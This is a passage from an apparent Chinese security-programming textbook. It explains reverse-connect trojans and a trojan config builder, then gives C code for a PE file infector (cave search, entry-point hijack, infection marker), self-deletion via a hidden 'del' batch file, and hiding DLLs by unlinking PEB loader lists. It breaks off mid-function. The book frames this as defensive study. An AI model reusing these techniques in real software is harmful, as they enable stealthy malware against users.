从图6-6中看到了反弹木马的工作原理。通常情况下攻击者的IP地址是变动的，那么“小白”是如何连接到“黑客”的主机的呢？一般情况下黑客要把自己的IP地址动态地保存到某个固定的IP地址下（比如保存到网上FTP空间中），然后木马通过读取该IP地址下保存的黑客的IP地址进行连接，同样用图来说明，如图6-7所示。
 
从图 6-7 中可以看出，黑客开启木马客户端后，首先会更新服务器上保存着的自己的 IP地址。“小白”会去读取服务器中保存着的黑客的IP地址，然后“小白”去连接“黑客”的主机，主动地让黑客去控制它，这就是木马中的“自动上线”。关于反弹端口的介绍就到这里。有了思路，通过前面学习的Winsock的知识自己可以试着实现一下，这里就不做更多的介绍了。
 
二、木马的配置生成与配置信息的保护
 
木马写好以后，通常会发布一个程序，在木马程序中通过配置一些相关的内容和参数后，会生成一个木马的服务器端程序。为什么木马的客户端会生成木马的服务端程序呢？其实木马的客户端和服务端本来就是两个程序，只是通过某种方式使其成为了一个文件而已。让木马的服务端和客户端成为一个文件可以有多种方法，常见的有资源法和文件附加数据法两种。
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  图6-7 木马动态获取黑客的IP地址 

 
在 PE 文件结构中有一个数据目录称作资源，资源可以是图片、图标、音频、视频等内容。资源法也就是把服务端以资源的形式连接到客户端的程序中，然后客户端通过一些操作资源的函数将资源读取出来并生成文件。文件附加数据法是将服务端保存到客户端的末尾，然后通过文件操作函数，直接将服务端读取出来并生成新的文件。
 
反弹端口连接是要访问某个固定的IP地址去读取保存着黑客的动态IP地址的信息，而这个固定的IP地址是保存在木马程序中的。也就是说，我们的客户端在把服务端生成以后，会把一些配置信息写入服务端程序的指定位置中，服务端程序会读取指定位置的信息来进行使用。配置信息的写入与读出必须要一致，否则就没有意义了。
 
对于配置信息中往往会存在一些比较敏感的信息，比如邮箱账号、密码等内容。比如，我们在分析盗QQ的木马时会发现接收QQ密码的邮箱，由于现在很多邮箱都需要SMTP的验证，因此在配置信息中也会看到邮箱的账号及密码信息。这样配置信息中的这些敏感信息很容易被人获取到，甚至接收QQ密码邮箱的账号和密码也会被别人获取到，真是“偷鸡不成蚀把米”。对于此类情况，正确的做法是对配置信息进行加密。也就是说客户端往服务端中写配置信息前需要加密后再写入，而服务端在使用这些信息前需要先解密再使用。
 
关于配置生成客户端与配置信息的保护上面已经介绍得差不多了，接下来应该把重点放在代码的实现上了。我们的代码是模拟实现上面的内容，而不是真的去生成木马。
 

 
6.1.3 代码实现剖析
 
我们通过资源来生成木马，首先要写一个简单的被生成的程序，这个程序要去读取被写入的配置信息。客户端把配置信息写入服务端的文件末尾，服务端从文件的末尾将信息读入。下面来写一个简单的程序，来充当我们的服务端程序。需要设置的配置信息有IP地址和端口号，把这两个信息都写入服务器端程序。先来定义一个结构体，结构体如下：
 
#define IPLEN 20
 
typedef struct _SCONFIG
 
{
 
char szIpAddress[IPLEN];　// 保存IP地址
 
DWORD dwPort;　　　　// 保存端口号
 
}SCONFIG, *PCONFIG;
 
下面写一个模拟的简单的服务端程序，具体代码如下：
 
#include <winsock2.h>
 
#pragma comment (lib, "ws2_32")
 
#define IPLEN 20
 
typedef struct _SCONFIG
 
{
 
char szIpAddress[IPLEN];
 
DWORD dwPort;
 
}SCONFIG, *PCONFIG;
 
int main(int argc, char* argv[])
 
{
 
char szFileName[MAX_PATH] = { 0 };
 
HANDLE hFile = NULL;
 
SCONFIG IpConfig = { 0 };
 
DWORD dwFileSize = 0;
 
DWORD dwRead = 0;
 
GetModuleFileName(NULL, szFileName, MAX_PATH);
 
hFile = CreateFile(szFileName,
 
GENERIC_READ,
 
FILE_SHARE_READ,
 
NULL,
 
OPEN_EXISTING,
 
FILE_ATTRIBUTE_NORMAL,
 
0);
 
if ( INVALID_HANDLE_VALUE == hFile )
 
{
 
return -1;
 
}
 
dwFileSize = GetFileSize(hFile, 0);
 
// 定位到配置信息的位置
 
SetFilePointer(hFile, dwFileSize - sizeof(SCONFIG), 0, FILE_BEGIN);
 
// 读取配置信息
 
ReadFile(hFile, (LPVOID)&IpConfig, sizeof(SCONFIG), &dwRead, NULL);
 
CloseHandle(hFile);
 
WSADATA wsa;
 
WSAStartup(MAKEWORD(2, 2), &wsa);
 
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 
sockaddr_in sAddr = { 0 };
 
sAddr.sin_family = PF_INET;
 
// 连接目标的IP地址
 
sAddr.sin_addr.S_un.S_addr = inet_addr(IpConfig.szIpAddress);
 
// 连接目标的端口号
 
sAddr.sin_port = htonl(IpConfig.dwPort);
 
printf("connecting %s : %d \r\n", IpConfig.szIpAddress, IpConfig.dwPort);
 
connect(s, (SOCKADDR *)&sAddr, sizeof(SOCKADDR));
 
closesocket(s);
 
return 0;
 
}
 
上面的代码就是服务端读取配置文件的代码，把文件指针移动到配置信息处，然后直接读取出来，让服务端连接配置信息中的IP地址就可以了。这就是我们模拟的服务端。下面再来写一个模拟的客户端，用来对其进行配置。
 
创建一个MFC的对话框程序，然后对界面进行布局，界面布局如图6-8所示。
 
把模拟的服务端编译连接好以后添加入这个模拟客户端的资源里，添加方法是在VC中的资源选项卡中单击鼠标右键，在弹出的菜单中选择“Import…”命令，如图 6-9 所示。然后在弹出的对话框中选择编译好的模拟服务端程序，如图6-10所示。会出现一个输入自定义资源类型的对话框，输入“IDC_MUMA”，如图6-11所示。
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  图6-8 模拟客户端窗口布局 
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  图6-9 添加资源 
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  图6-10 选中编译好的程序 
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  图6-11 自定义资源类型对话框 

 
单击“OK”按钮，就将其添加入资源对话框中了，如图6-12所示。
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  图6-12 资源选项卡 

 
做好这些准备工作以后，就可以开始写代码了。给“生成”按钮添加如下代码：
 
HINSTANCE hInst = NULL;
 
hInst = GetModuleHandle(NULL);
 
// 查找资源
 
HRSRC hRes = FindResource(hInst, MAKEINTRESOURCE(IDR_IDC_MUMA1), "IDC_MUMA");
 
// 获取资源大小
 
DWORD len = SizeofResource(hInst, hRes);
 
// 载入资源
 
HGLOBAL hg = LoadResource(hInst, hRes);
 
// 锁定资源
 
LPVOID lp = (LPSTR)LockResource(hg);
 
HANDLEhFile=CreateFile("muma.exe",GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
 
DWORD dwWrite = 0;
 
// 将资源写入文件
 
WriteFile(hFile, (LPVOID)hg, len, &dwWrite, NULL);
 
SCONFIG IpConfig = { 0 };
 
GetDlgItemText(IDC_EDIT_IPADDRESS, IpConfig.szIpAddress, IPLEN);
 
IpConfig.dwPort = GetDlgItemInt(IDC_EDIT_PORT, FALSE, FALSE);
 
SetFilePointer(hFile, 0, 0, FILE_END);
 
// 将配置信息写入文件
 
WriteFile(hFile, (LPVOID)&IpConfig, sizeof(SCONFIG), &dwWrite, NULL);
 
CloseHandle(hFile);
 
// 释放资源
 
FreeResource(hg);
 
编译连接并运行这个程序，输入配置程序，单击“生成”按钮，会生成一个 muma.exe的程序，然后运行这个程序就会输出配置信息的内容，如图 6-13所示。
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  图6-13 程序运行结果 

 
在这个程序中使用了 4个以前没有使用过的函数，下面分别进行介绍。
 
（1）查找资源FindResource()函数的定义如下：
 
HRSRC FindResource(
 
HMODULE hModule, // module handle
 
LPCTSTR lpName,　// resource name
 
LPCTSTR lpType　// resource type
 
);
 
① hModule：该参数表示要查找模块的句柄。
 
②　lpName：该参数表示要查找资源的名称。
 
③　lpType：该参数表示了要查找资源的类型。
 
（2）SizeofResource()函数用来计算被查找资源的大小，该函数的定义如下：
 
DWORD SizeofResource(
 
HMODULE hModule, // module handle
 
HRSRC hResInfo　// resource handle
 
);
 
① hModule：该参数同FindResouce()相同。
 
② hResInfo：FindResouce()的返回值。
 
（3）LoadResource()函数用来将资源载入全局内存中，该函数的定义如下：
 
HGLOBAL LoadResource(
 
HMODULE hModule, // module handle
 
HRSRC hResInfo　// resource handle
 
);
 
该函数参数的意义与SizeofResouce()的相同。
 
（4）LockResouce()函数的作用是将资源锁定，并返回其起始位置的指针，该函数定义如下：
 
LPVOID LockResource(
 
HGLOBAL hResData　// handle to resource
 
);
 
上面介绍了关于使用资源来将两个程序合并为一个程序的方法。除此而外还有一种方法是使用附加数据法将两个程序合并为一个程序。何为附加数据法呢？PE文件在被载入内存时是按照节来映射的，没有被映射入内存的部分就是附加数据，虽然该部分占用文件大小，却不占用映像大小。关于配置信息的保护部分，只要使用简单的加密算法将配置信息加密就可以了，比如异或算法，这里就不进行介绍了。
 

 
6.2 简单病毒剖析
 
编写病毒不是一件光彩的事情，而且随时都有让自己惹上官司的可能。我们介绍一个简单的病毒的编写只是为了进行研究，以便编出更好的防范工具。
 

 
6.2.1 病毒的感染剖析
 
大部分病毒都有感染的功能，病毒会把自身当中的或者需要其他程序来完成的指定功能的代码感染给其他的正常的文件。就像人类的流行感冒，办公室中只要有一个人携带感冒病毒，就有可能所有人都会被传染。如果没被传染说明已经预防过了，因此在机器上安装杀毒软件还是非常有必要的。
 
前面说了，病毒要感染其他文件也就是把病毒本身的攻击代码或者病毒期望其他程序要完成的功能代码写入到其他程序当中，而想要对其他程序写入代码就必须要有写入代码的空间。除了把代码写入到其他程序中以外，还必须让这些代码有机会被执行到。就上面两个问题而言都是比较容易解决的，下面分别来讨论一下。
 
病毒要对其他程序写入代码，必须确定目标程序有足够的空间让它把代码写入。通常情况下有两种比较容易实现的方法，第一种在前面的章节介绍过，就是添加一个节区，添加一个节区后就有足够的空间让病毒来写入了。第二种方法是缝隙查找，然后写入代码。何为缝隙？在每个节与节之间，必然有没有使用到的空间，这个空间就叫缝隙。只要确定要写入代码的长度，然后根据这个长度来查找是否有满足该长度的缝隙就可以了。由于第一种添加节区的方法在前面的章节中已经给出过了，因此这里主要介绍第二种方法。
 

 
6.2.2 缝隙搜索的实现
 
通常情况下，每个节之间都是有未使用的空间的，搜索这些未使用的空间来把我们的代码写入到这个位置。由于只是一个测试代码，因此不会写具有攻击性的代码，我们写入目标程序的代码的功能是什么都不做，就是汇编中的“NOP”指令，其机器指令是 0x90。简单地写入 11个 0x90就可以了。定义如下：
 
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00";
 
搜索缝隙的代码如下：
 
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
 
{
 
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
 
(((BYTE *)&(pNtHeader->OptionalHeader)
 
+ pNtHeader->FileHeader.SizeOfOptionalHeader));
 
DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
 
dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
 
LPVOID lp = malloc(sizeof(shellcode));
 
memset(lp, 0, sizeof(shellcode));
 
while ( dwAddr > pSec->Misc.VirtualSize )
 
{
 
int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
 
if ( nRet == 0 )
 
{
 
return dwAddr;
 
}
 
dwAddr --;
 
}
 
free(lp);
 
return 0;
 
}
 
在代码节和紧挨代码节之后的节的中间搜索缝隙，搜索的方向是从代码节的末尾开始，个人认为反方向的搜索速度要快一些。通过该代码可以找到缝隙，但是也可能找不到缝隙，因此在调用完该函数后要做一些判断，以应变各种不同的情况。
 

 
6.2.3 感染目标程序文件剖析
 
我们把代码添加到了目标文件中，但是这些代码如何才能被执行到呢，这就要修改目标可执行文件的入口地址。修改目标入口地址先来执行我们的代码，然后再跳转到原来程序的入口处继续执行，很多病毒都是这样工作的。修改一下机器码，定义如下：
 
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
 
把机器码的后几个字节改为一条mov指令和一条jmp指令，这个过程和前面章节介绍的inline hook有些类似。我们写一个程序，来调用上面的函数，并且将机器码写入到目标程序中，具体代码如下：
 
int main(int argc, char* argv[])
 
{
 
HANDLE hFile = NULL;
 
HANDLE hMap = NULL;
 
LPVOID lpBase = NULL;
 
hFile = CreateFile("test.exe",
 
GENERIC_READ | GENERIC_WRITE,
 
FILE_SHARE_READ,
 
NULL,
 
OPEN_EXISTING,
 
FILE_ATTRIBUTE_NORMAL,
 
NULL);
 
hMap = CreateFileMapping(hFile,
 
NULL,
 
PAGE_READWRITE,
 
0,
 
0,
 
0);
 
lpBase = MapViewOfFile(hMap,
 
FILE_MAP_READ | FILE_MAP_WRITE,
 
0,
 
0,
 
0);
 
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
 
PIMAGE_NT_HEADERS pNtHeader = NULL;
 
PIMAGE_SECTION_HEADER pSec = NULL;
 
IMAGE_SECTION_HEADER imgSec = { 0 };
 
if ( pDosHeader->e_magic != IMAGE_DOS_SIGNATURE )
 
{
 
UnmapViewOfFile(lpBase);
 
CloseHandle(hMap);
 
CloseHandle(hFile);
 
return -1;
 
}
 
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
 
if ( pNtHeader->Signature != IMAGE_NT_SIGNATURE )
 
{
 
UnmapViewOfFile(lpBase);
 
CloseHandle(hMap);
 
CloseHandle(hFile);
 
return -1;
 
}
 
DWORD dwAddr = FindSpace(lpBase, pNtHeader);
 
// 原入口地址
 
DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.
 
AddressOfEntryPoint;
 
*(DWORD *)&shellcode[5] = dwOep;
 
memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
 
dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
 
// 新入口地址
 
pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
 
UnmapViewOfFile(lpBase);
 
CloseHandle(hMap);
 
CloseHandle(hFile);
 
return 0;
 
}
 
编译连接后，找个以前写的VC程序，将其改名为“hello.exe”，并放到同一个目录下，然后运行这个感染程序。用OD打开“hello.exe”程序看一下，如图 6-14所示。
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  图6-14 被感染后的目标程序入口 

 
从图6-14 中可以看出，感染是成功的，而且jmp eax 指令中的eax 保存的是“hello.exe”的入口地址。运行被感染的目标程序，是可以运行的。再次对其进行一次感染，然后用 OD打开看一下目标程序“hello.exe”，如图6-15所示。
 

 [image: figure_0192_0180]

 

  图6-15 被二次感染的目标程序入口 

 
可以看到目标程序被二次感染了。由于只是添加了一些简单的跳转指令，因此没有太大影响，但是如果是真正的病毒，很有可能导致被感染的目标程序无法正常运行。因此，需要对被感染过的文件写一个标志，这样就可以避免被二次感染了。
 

 
6.2.4 添加感染标志
 
为了避免重复感染目标程序，必须对目标程序写入感染标志以防被二次感染，导致目标程序无法执行。每次在对程序进行感染时都要先判断是否有感染标志，如果有感染标志则不进行感染，如果没有感染标志则进行感染。在 PE 文件结构中有非常多不实用的字段，可以找一个合适的位置写入感染标志。想必这个非常容易理解，下面直接看代码。写入感染标志的代码如下：
 
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
 
{
 
DWORD dwNum=0;
 
SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
 
WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
 
return TRUE;
 
}
 
读取的感染标志的代码类似，代码如下：
 
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
 
{
 
DWORD dwSigNum = 0;
 
DWORD dwNum = 0;
 
SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
 
ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);
 
if ( dwSigNum == dwSig )
 
{
 
return TRUE;
 
}
 
return FALSE;
 
}
 
每次在进行感染前先调用 CheckSig()函数，判断是否有感染标志，然后根据是否被感染做出不同的选择，调用以上两个函数的方法如下：
 
#define VIRUSFLAGS 0xCCCC
 
// 返回真说明感染过
 
if ( CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile) )
 
{
 
MessageBox(NULL, "已经感染过来，换个感染吧!!!", NULL, MB_OK);
 
return -1;
 
}
 
// 写入感染标志
 
WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);
 
在代码中我们把感染标志写到了　IMAGE_DOS_HEADER 中的 e_cblp 这个位置处。IMAGE_DOS_HEADER中除了 e_magic和 e_lfanew这两个字段外，其余都是没有用的，大家可以放心写入。代码中的 offsetof()是一个宏，该宏的定义如下：
 
#define offsetof(s,m)　(size_t)&(((s *)0)->m)
 
该宏的作用是取得某字段在结构体中的偏移。对于 IMAGE_DOS_HEADER结构体中的e_cblp来说，它在结构体中的偏移是 2。那么 offsetof(IMAGE_DOS_HEADER, e_cblp)返回的值则为 2，大家可以调试跟踪一下。
 

 
6.2.5 自删除功能的实现
 
某些程序在首次运行以后就莫名其妙地消失。当人们意识到这是病毒或木马时已经晚了，悔恨自己没装杀毒软件。其实病毒或木马被执行后都把自己复制到系统盘里了，改个看起来很重要的文件名，并且把自己隐藏得很深。
 
下面介绍一下它是如何自删除的。自删除的方法有很多，最简单的方法就是创建一个“.cmd”的批处理文件。批处理文件中通过DOS命令 del来删除可执行文件，再通过 del删除自身。我们来看一下它的实现代码：
 
void CreateBat()
 
{
 
HANDLE hFile = CreateFile("delself.cmd",
 
GENERIC_WRITE,
 
FILE_SHARE_READ,
 
NULL,
 
CREATE_ALWAYS,
 
FILE_ATTRIBUTE_NORMAL,
 
NULL);
 
if ( hFile == INVALID_HANDLE_VALUE )
 
{
 
return ;
 
}
 
char szBat[MAX_PATH] = {0};
 
char szSelfName[MAX_PATH] = {0};
 
GetModuleFileName(NULL, szSelfName, MAX_PATH);
 
strcat(szBat, "del ");
 
strcat(szBat, szSelfName);
 
strcat(szBat, "\r\n");
 
strcat(szBat, "del delself.cmd");
 
DWORD dwNum = 0;
 
WriteFile(hFile, szBat, strlen(szBat) + 1, &dwNum ,NULL);
 
CloseHandle(hFile);
 
// 运行
 
WinExec("delself.cmd", SW_HIDE);
 
}
 
直接在main()函数中调用CreateBat()函数，编译连接并运行它。可以看到，编译好的程序消失了。其实，是创建的批处理文件将编译好的程序和批处理本身都删除掉了。这样就达到了自删除的功能了。
 

 
6.3 隐藏DLL文件
 
前面的章节介绍了如何隐藏进程，隐藏进程的方法是把要在进程中完成的功能放在DLL文件中完成，然后将DLL文件注入到其他进程当中，从而达到隐藏进程的目的。现在要做的是隐藏进程中的DLL文件，当把DLL文件注入到远程进程后，可以将DLL也隐藏掉。操作系统在进程中维护着一个叫做 TEB 的结构体，这个结构体是线程环境块。下面就要通过WinDBG这个调试工具来一步一步地学习TEB，并通过TEB来学习如何隐藏DLL文件。
 

 
6.3.1 启动WinDBG
 
启动WinDBG工具，如图6-16所示。
 
依次单击菜单栏的“File”->“Symbol File Path…”命令，在里面输入符号文件路径，这里直接填入微软为我们提供的符号服务器，“srv*F:\Program Files\symbolcache*http://msdl.microsoft.com/download/symbols”，如图6-17所示。
 
设置好符号路径，就可以开始调试了。这里调试的目标就是WinDBG，因为原理是相同的。我们来进行本地调试，依次单击菜单“File”->“Kernel Debug”命令，出现如图 6-18所示的窗口。
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  图6-16 WinDBG启动界面 

 

 [image: figure_0195_0182]

 

  图6-17 设置符号文件路径 
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  图6-18 Kernel Debugging窗口 

 
选择“Local”选项卡，也就是进行本地调试，单击“确定”按钮。这样，就可以用WinDBG开始调试了，跟着步骤一步一步做就可以了。
 

 
6.3.2 调试步骤
 
首先获取TEB，也就是线程环境块。在编程的时候，TEB始终保存在寄存器FS中。获取TEB的命令为“!teb”。在WinDBG的命令提示处输入该命令，WinDBG将输出如下内容。
 
lkd> !teb
 
TEB at 7ffde000
 
ExceptionList:　　00c0e060
 
StackBase:　　　00c10000
 
StackLimit:　　00bfb000
 
SubSystemTib:　　00000000
 
FiberData:　　　00001e00
 
ArbitraryUserPointer: 00000000
 
Self:　　　　7ffde000
 
EnvironmentPointer:　00000000
 
ClientId:　　　00000554 . 00000320
 
RpcHandle:　　　00000000
 
Tls Storage:　　00000000
 
PEB Address:　　7ffd5000
 
LastErrorValue:　　0
 
LastStatusValue:　c0000139
 
Count Owned Locks:　0
 
HardErrorMode:　　0
 
从上面的输出内容可以看出，TEB地址为7ffde000。
 
获得TEB以后，通过TEB的地址来解析TEB的数据结构，从而获得PEB，也就是进程环境块，命令为“dt _teb 7ffde000”， WinDBG 的输出内容如下：
 
lkd> dt _teb 7ffde000
 
nt!_TEB
 
+0x000 NtTib　　　: _NT_TIB
 
+0x01c EnvironmentPointer : (null)
 
+0x020 ClientId　　: _CLIENT_ID
 
+0x028 ActiveRpcHandle　: (null)
 
+0x02c ThreadLocalStoragePointer : (null)
 
+0x030 ProcessEnvironmentBlock : 0x7ffd5000 _PEB
 
+0x034 LastErrorValue　: 0
 
+0x038 CountOfOwnedCriticalSections : 0
 
+0x03c CsrClientThread　: (null)
 
+0x040 Win32ThreadInfo　: 0xe2bfb130
 
+0x044 User32Reserved　: [26] 0
 
+0x0ac UserReserved　: [5] 0
 
+0x0c0 WOW32Reserved　: (null)
 
+0x0c4 CurrentLocale　: 0x804
 
+0x0c8 FpSoftwareStatusRegister : 0
 
+0x0cc SystemReserved1　: [54] (null)
 
上面的输出只是部分输出，该结构体非常长，这里只查看其中的一部分内容，只要找到PEB在TEB中的偏移就可以了。从该命令的输出可以看出，PEB结构体的地址位于TEB结构体偏移0x30的位置，该位置保存的地址是7ffd5000。也就是说PEB的地址是7ffd5000，通过该地址来解析PEB，并获得LDR。在命令提示符处输入命令“dt nt!_peb 7ffd5000”，输出内容如下：
 
lkd> dt nt!_peb 7ffd5000
 
+0x000 InheritedAddressSpace : 0 ''
 
+0x001 ReadImageFileExecOptions : 0 ''
 
+0x002 BeingDebugged　: 0 ''
 
+0x003 SpareBool　　: 0 ''
 
+0x004 Mutant　　: 0xffffffff
 
+0x008 ImageBaseAddress : 0x01000000
 
+0x00c Ldr　　　: 0x001a1e90 _PEB_LDR_DATA
 
+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
 
+0x014 SubSystemData　: (null)
 
+0x018 ProcessHeap　: 0x000a0000
 
+0x01c FastPebLock　: 0x7c9a0600 _RTL_CRITICAL_SECTION
 
+0x020 FastPebLockRoutine : 0x7c921000
 
+0x024 FastPebUnlockRoutine : 0x7c9210e0
 
+0x028 EnvironmentUpdateCount : 1
 
+0x02c KernelCallbackTable : 0x77d12970
 
从输出结果可以看出，LDR 在 PEB 结构体偏移的 0x0C 处，该地址保存的地址是001a1e90。通过该地址来解析 LDR 结构体。在命令提示符输入命令“dt _peb_ldr_data001a1e90”，WinDBG输出如下内容：
 
lkd> dt _peb_ldr_data 001a1e90
 
nt!_PEB_LDR_DATA
 
+0x000 Length　　: 0x28
 
+0x004 Initialized　: 0x1 ''
 
+0x008 SsHandle　　: (null)
 
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x1a1ec0 - 0x1a3218 ]
 
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x1a1ec8 - 0x1a3220 ]
 
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x1a1f28 - 0x1a3228 ]
 
+0x024 EntryInProgress　: (null)
 
在这个结构体中，可以看到 3个相同的数据结构，也就是在偏移 0x0c、0x14、0x24处的3个结构体_LIST_ENTRY。该结构体是个链表，定义如下：
 
typedef struct _LIST_ENTRY {
 
struct _LIST_ENTRY　*Flink;
 
struct _LIST_ENTRY　*Blink;
 
} LIST_ENTRY, *PLIST_ENTRY;
 
上面这个结构体在SDK提供的帮助中是找不到的，需要去WDK的帮助中才可以找到。这 3条链表分别保存的是_LDR_DATA_TABLE_ENTRY，也就是LDR_DATA表的入口。
 
现在来手动遍历一下第一条链表，输入如下命令“dd 1a1ec0”。
 
lkd> dd 1a1ec0 // _list_entry的地址
 
001a1ec0　001a1f18 001a1e9c 001a1f20 001a1ea4
 
001a1ed0　00000000 00000000 01000000 010582f7
 
001a1ee0　00096000 00580056 00020c64 00160014
 
001a1ef0　00020ca6 00005000 0000ffff 001a2cd4
 
001a1f00　7c99e310 49a5f6a7 00000000 00000000
 
001a1f10　000b000b 000801b7 001a1fc0 001a1ec0
 
001a1f20　001a1fc8 001a1ec8 001a1fd0 001a1eac
 
001a1f30　7c920000 7c932c60 00096000 0208003a
 
在这么多的输出中，在链表偏移0x18的位置是模块的映射地址，即ImageBase，在链表偏移0x28的位置是模块的路径及名称的地址，在0x30的位置是模块名称的地址。查看一下， 1a1ec0 偏移0x28 的位置中保存的地址是20c64，接下来输入命令 “du 20c64”。
 
lkd> du 20c64
 
00020c64　"F:\WinDDK\7600.16385.0\Debuggers"
 
00020ca4　"\windbg.exe"
 
可以看到，输出WinDBG的全部路径，来看一下偏移 0x18的地址，该进程的映射基址为01000000。再来看一下偏移0x30处的地址保存着20ca6，查看该地址，输入命令“du 20ca6”。
 
lkd> du 20ca6
 
00020ca6　"windbg.exe"
 
的确是模块的名称。既然是链表，那么看看下一条链表的信息。
 
lkd> dd 1a1f18 // 1a1f18中保存的是下一个_list_entry的地址
 
001a1f18　001a1fc0 001a1ec0 001a1fc8 001a1ec8
 
001a1f28　001a1fd0 001a1eac 7c920000 7c932c60
 
001a1f38　00096000 0208003a 7c9a0028 00140012
 
001a1f48　7c942838 80084004 0000ffff 7c99e2c8
 
001a1f58　7c99e2c8 498ffe8a 00000000 00000000
 
001a1f68　000b000a 000e01b8 003a0043 0057005c
 
001a1f78　004e0049 004f0044 00530057 0073005c
 
001a1f88　00730079 00650074 0033006d 005c0032
 
lkd> dd 1a1fc0 // _list_entry的地址
 
001a1fc0　001a2068 001a1f18 001a2070 001a1f20
 
001a1fd0　001a21b8 001a1f28 7c800000 7c80b5be
 
001a1fe0　0011d000 00420040 001a1f70 001a0018
 
001a1ff0　001a1f98 80084004 0000ffff 001a2a44
 
001a2000　7c99e2b0 49c4f753 00000000 00000000
 
001a2010　000b000a 000e0157 003a0043 0057005c
 
001a2020　004e0049 004f0044 00530057 0073005c
 
001a2030　00730079 00650074 0033006d 005c0032
 
按照上面介绍的解析方法自己进行解析。
 
lkd> du 1a1f70
 
001a1f70　"C:\WINDOWS\system32\kernel32.dll"
 
001a1fb0　""
 
上面介绍的几个结构体在VC6的头文件中是找不到的，不过在网上还是可以查到的。这里给出 MSDN 上给出的几个结构体的定义，该 MSDN 的地址为：http://msdn.microsoft.com/zh-cn/library/aa813708(v=VS.85).aspx，方便大家查看。涉及的几个结构体的定义如下：
 
typedef struct _PEB_LDR_DATA {
 
BYTE　　Reserved1[8];
 
PVOID　Reserved2[3];
 
LIST_ENTRY InMemoryOrderModuleList;
 
} PEB_LDR_DATA, *PPEB_LDR_DATA;
 
typedef struct _LDR_DATA_TABLE_ENTRY {
 
PVOID Reserved1[2];
 
LIST_ENTRY InMemoryOrderLinks;
 
PVOID Reserved2[2];
 
PVOID DllBase;
 
PVOID EntryPoint;
 
PVOID Reserved3;
 
UNICODE_STRING FullDllName;
 
BYTE Reserved4[8];
 
PVOID Reserved5[3];
 
union {
 
ULONG CheckSum;
 
PVOID Reserved6;
 
};
 
ULONG TimeDateStamp;
 
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
 
从这两个结构体中可以看出有非常多的保留字段，这些都是微软不愿意公开的，或不愿意让大家使用的。不过在网上有大量的相关结构体的具体定义，大家可以自行查找进行阅读。
 
看完上面的各种结构体是不是觉得我们自己都可以实现枚举进程中模块的函数了？是的，我们来写一个吧。
 

 
6.3.3 编写枚举进程中模块的函数
 
枚举进程中的模块的方法就是通过上面介绍的几个结构体来完成，其步骤是。
 
获得TEB地址->获得PEB地址->得到Ldr->获得第二条链表的地址->遍历该链表并输出其地0x18的值和0x28指向的内容。
 
只要把上面在WinDBG中找到链表的方法学明白，那么就不是太大的问题了。关键的问题是TEB怎么找到。告诉大家，TEB保存在FS中，有了这个提示就很好解决了吧？看代码吧。
 
void EnumModule()
 
{
 
DWORD *PEB　　= NULL,
 
*Ldr　　= NULL,
 
*Flink　　= NULL,
 
*p　　= NULL,
 
*BaseAddress = NULL,
 
*FullDllName = NULL;
 
// 定位PEB
 
__asm
 
{
 
// fs位置保存着teb
 
// fs:[0x30]位置保存着peb
 
mov　eax,fs:[0x30]
 
mov　PEB,eax
 
}
 
// 得到LDR
 
Ldr　= *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );
 
// 第二条链表
 
Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x14 ) );
 
p　= Flink;
 
p = *( ( DWORD ** )p );
 
while ( Flink != p )
 
{
 
BaseAddress = *( ( DWORD ** )( ( unsigned char * )p + 0x10 ) );
 
FullDllName = *( ( DWORD ** )( ( unsigned char * )p + 0x20 ) );
 
if ( BaseAddress == 0 )
 
{
 
break;
 
}
 
printf("ImageBase = %08x \r\n ModuleFullName = %S \r\n",
 
BaseAddress, (unsigned char *)FullDllName);
 
p = *( ( DWORD ** )p );
 
}
 
}
 
该函数的实现没有太多的技巧，主要在于对C语言中指针的掌握，还有就是对以上介绍的几个结构体之间的关系能够掌握，也就是各结构体之间的数据关系。在main()函数中调用一下这个函数，输出结果如图6-19所示。
 

 
6.3.4 指定模块的隐藏
 
模块的隐藏是把指定模块在链表中的节点断掉，也就是做一个数据结构中链表的删除动作，只不过不进行删除，只是将其节点脱链即可，如图6-20所示。
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  图6-19 自实现的枚举模块函数 
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  图6-20 链表节点脱链 

 
如果是枚举模块的话，一般情况下，只要枚举第二条链表就可以了，也就是偏移 0×14处的那条。如果要做模块隐藏的话，那最好是将3条链表中的指定模块全部都脱链。对于脱链的方法，其实也是对3条链表进行遍历，然后将指定的模块脱链就可以了。和上面枚举的方法差别不大。下面给出代码，如下：
 
void HideModule(char *szModule)
 
{
 
DWORD *PEB　　= NULL,
 
*Ldr　　= NULL,
 
*Flink　　= NULL,
 
*p　　= NULL,
 
